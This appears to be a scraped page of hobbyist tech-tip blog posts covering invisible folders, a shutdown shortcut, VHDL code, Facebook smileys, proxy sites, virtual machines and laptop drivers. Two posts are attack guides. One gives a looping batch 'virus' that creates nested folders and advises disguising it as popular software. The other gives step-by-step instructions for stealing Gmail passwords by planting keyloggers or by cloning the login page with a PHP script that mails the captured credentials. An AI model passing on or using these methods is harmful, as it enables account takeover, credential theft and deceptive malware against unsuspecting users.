Create an invisible folder

This trick will allow you to create files and folders without any name and icon:

Just follow the following steps:

1.Select any file or folder.


2.Right click on it, press rename or simply press F2.


3.open the character map from start menu and choose the empty block as in figure,copy and paste it as the name of folder.

4.now you will get a folder  without a name .




5.Now open properties of that folder-->customise-->change icon.....there u will find an invisible icon choose that and click apply.




6.now u will get an invisible icon without a name and icon.

Shut down windows-a new cool way

Shutting down windows takes a real good time ,first you have to go to start button,then have to press shut down. This whole
process can be shortened by creating shortcuts on the Desktop which will shut down Windows at the click of a button.

Follow some simple steps:

1.Start by creating a new shortcut( right click and select New> Shortcut).

2.Then in the command line box, type (without the quotes.)

'C:\windows\rundll.exe user.exe,exitwindowsexec'

3.This Shortcut on clicking will shut down Windows immediately without any Warning.

Cool way na...Enjoy!!!

VHDL code for D-Flip Flop

RELATED POSTS:

1.VHDL code for 2 to 4 binary decoder

2.VHDL code for 4 bit comparator

______________________________________________________________________________________________

 

Here is the VHDL coding of the d-flip flop :

LIBRARY ieee ;

USE ieee.std_logic_1164.all ;

ENTITY flipflop IS
PORT (     D, Resetn, Clock     : IN     STD_LOGIC ;
Q                     : OUT     STD_LOGIC) ;
END flipflop ;

ARCHITECTURE Behavior OF flipflop IS
BEGIN
PROCESS
BEGIN
WAIT UNTIL Clock'EVENT AND Clock = '1' ;
IF Resetn = '0' THEN
Q <= '0' ;
ELSE
Q <= D ;
END IF ;
END PROCESS ;
END Behavior ;

Create a simple computer virus:folder into a folder

Well you can create a simple computer virus which will create a folder into a folder and so on..
This is just a temporary virus and can be tested very easily just for fun too,and can be removed manually through deleting the content.
Follow the below steps for the creation of virus.

1.open the notepad and type the follwing code:

:123
md d
cd d
goto :123

2.Save as with virus.bat on desktop.

3.Your virus is ready,just double click on it to see the magic.

4.For further advancement in it, download a bat to exe converter,through it change the icon,properties and title of the bat file into any popular software.

5.And now your virus is ready to be executed.

Secret facebook chat smileys

Here is a collection of all the valid chat smileys of facebook:

Happy eyes ^_^

Laughing eyes >:o

Cat smile :3

Grumpy >:(

Sad :(

Crying :'(

Shocked :O

Glasses 8)

Cool shades 8|

Tongue :P

Woot?! O.o

Happy :)

Dude :putnam:

Shark (^^^)

Penguin <(")

Forty Two :42:

Really happy :D

Wink ;)

Dork -_-

Duhhh :/

Devil 3:)

Angel O:)

Kiss :*

Love < 3

Pacman :v

Robot :|]

Use all your smileys wherever you needs them and make your friends surprise,enjoy and don't forget to leave your comments.

How to access the blocked sites->Facebook,Orkut

Blocking all the social sites like facebook,orkut,etc is the daily scenario in every college and school.

But there are a hundreds of solutions to access these blocked sites.Some amoung them are:

1.With the use of proxy sites we can easily access all the blocked sites like youtube, facebook, orkut and everything.Some of the proxy sites includes hidemyass.com , backfox.com.

2.With the help of tunneling softwares , all the blocked sites can be used,some of them are  your freedom, JAP , Ultramax,etc.

How to hack a gmail account

Well hacking a gmail account is a really tough job , but in the world of today nothing is as tough.
Gmail account can be hacked by the two ways,one if we have the full preivelage over the user's computer or the other is if he/she clicks on the link you have sended to him/her which contains the similar looking fake web page of gmail,which is actually known as phishing.

Well starting with the 1st way in which we have the full previlage over the user's computer,in this case there are many methods by which we can hack his gmail account,simply installing a keylogger into the computer will directly mail you the daily keystrokes made on user's computer,these keyloggers are easily available free of cost on internet.They not only sends you the keystroke information but some advance one can even send you the screen shots of the computer too.Well by checking the keystrokes we can easily get the user's username and password.

The other way is to save a fake web page designed by you on the user's hard drive on some complex location,then set the path as the home page for his internet explorer.Now when a person opens his internet explorer he will find that fake web page and if he put his username and password for his account, it will be mailed to you.

Now you might be thinking that how actually the online mode works and how the users information will be mailed to you?
Well the thing is that first you have to design a php script which will mail you the username and password when a user click on the SIGN IN button on your fake web page and then navigate you on the original web page of gmail login.

The fake web page can be designed by saving the source code ,modifying the ""action"" with you scripts address which you have to upload on your website or any free e space provider site.You can directly use the fake page or can upload it on internet and can send its link to a user.

Operating system in an operating system

Well with the gaining popularity of windows 7 and the upsurging higher versions of operating systems ,the OS with low versions such as Windows XP and Windows Vista are loosing their existance may be that is due to they lack in certain features or they are not standing firmly in the security norms.

But the problem we face in windows 7  is its unsupportability towards some programs which are specially designed to work in lower versions of operating systems ,may that can be a simple game , a compiler or a designing software.

But there is  a solution to that ,there are many such softwares in the market which provide the previlage to install an operating system into an another system that may be lower into an higher or vise versa, and that too without formatting the previous one.It is not like that first you have to remove the first one,nor am talking about the dual booting process,but here the case is that first you starts your operating system ,starts your software and the run another operating system into that software.

The some of the softwares which are really trustable and i have personally used them are VMWARE WORKSTATION and the VIRTUAL BOX.They creates a virtual machine into your computer,or in other words a computer into a computer with the required configurations and thus provide an platform to run your all softwares and programs.

Please give your comments over the topic and also write us for any problem you face in that.Enjoy...

Unable to downgrade from windows 7 to xp-Sony VAIO

Many times i hear from friends that they face problems while downgrading from windows 7 to xp in Sony VAIO laptops,and many times they remains in deliema whether it will be fine to downgrade from a higher version to lower version of operating system.

But what i realised is that the problem is just a panic case,it is nothing like that.Sony VAIO laptops can be downgraded from a higher version to lower version ,just the problem is that of drivers of xp.

For that you need to download the ""downgrade drivers of xp""of your specific model which are easily available on the site but the thing that to be kept in mind is that  these are not the simple xp drivers but the drivers designed specially for the downgrade process and without them you cant let your OS work successfully.

Well please leave your comments if you think the information is useful or in case you are facing any such problem.